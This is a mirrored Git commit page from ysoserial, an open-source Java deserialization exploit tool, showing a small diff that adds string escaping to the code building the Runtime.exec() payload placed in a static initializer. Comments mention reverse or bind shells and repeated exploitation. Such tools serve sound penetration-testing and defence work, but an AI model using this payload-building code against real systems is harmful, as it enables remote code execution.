mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
re-added java string escaping
This commit is contained in:
@@ -117,7 +117,9 @@ public class Gadgets {
|
||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});";
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" +
|
||||
Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") +
|
||||
"});";
|
||||
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
|
||||
Reference in New Issue
Block a user